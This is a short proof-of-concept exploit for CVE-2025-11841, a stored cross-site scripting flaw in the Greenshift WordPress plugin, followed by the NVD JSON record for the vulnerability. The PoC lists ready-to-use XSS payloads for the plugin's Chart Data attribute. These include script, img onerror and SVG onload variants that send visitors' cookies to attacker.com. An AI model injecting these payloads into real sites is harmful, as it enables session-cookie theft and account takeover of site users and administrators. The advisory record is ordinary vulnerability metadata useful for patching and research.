CVE-2025-11841

<!-- CVE-2025-11841 PoC: Stored XSS via Chart Data --> <!-- Attacker needs Contributor-level access or higher --> <!-- Step 1: Create/Edit a post with Greenshift chart block --> <!-- Step 2: Inject XSS payload in Chart Data attribute --> <!-- Example XSS Payload --> <script>alert('XSS - CVE-2025-11841')</script> <!-- More sophisticated payload for cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker.com/steal?c=' + document.cookie; </script> <!-- Using img onerror for bypass --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+btoa(document.cookie))"> <!-- SVG-based XSS payload --> <svg/onload=fetch('https://attacker.com/?data='+btoa(document.cookie))>

{"cve": {"id": "CVE-2025-11841", "sourceIdentifier": "[email protected]", "published": "2025-11-04T03:15:49.467", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Chart Data attributes in all versions up to, and including, 12.2.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3386004/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee2455fb-69b9-4dbc-9c59-fd2cdd5b4d0f?source=cve", "source": "[email protected]"}]}}